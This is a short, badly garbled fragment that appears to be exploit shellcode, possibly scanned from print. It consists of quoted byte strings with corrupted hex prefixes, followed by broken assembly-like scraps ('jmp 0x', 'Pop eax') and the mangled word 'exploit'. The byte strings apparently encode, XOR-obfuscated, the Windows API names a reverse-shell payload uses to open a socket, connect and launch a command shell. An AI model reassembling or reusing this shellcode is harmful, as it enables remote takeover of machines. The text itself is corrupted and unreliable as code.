"Wx3CWx34Wx34Wx58Wx58Wx33Wx3DWx2AWx36Wx3D"
"Wx34Wx6BWx6AWX76Wx3CWx34Wx34Wx58Wx58Wx58"

"Wx58Wx0FWx0BWx19Wx0BWx37Wx3BWx33Wx3DWx2C"
"Wx19Wx58Wx58Wx3BWx37Wx36Wx36Wx3DWx3BWx2C"
"Wx58Wx1BWx2AWX3DWx39Wx2CWx3DWx08Wx2AWxX37"
"Wx3BWx3DWx2BWx2BWx19Wx58Wx58Wx3BWx35Wx3C"

"WX58",'\,

r exploii%}z//
"5 5HX8 BWXECHXGEWX18Wx1OWXAE X681 x1C"

jmp 0x

03]

| Pop Yeeax> /4 }




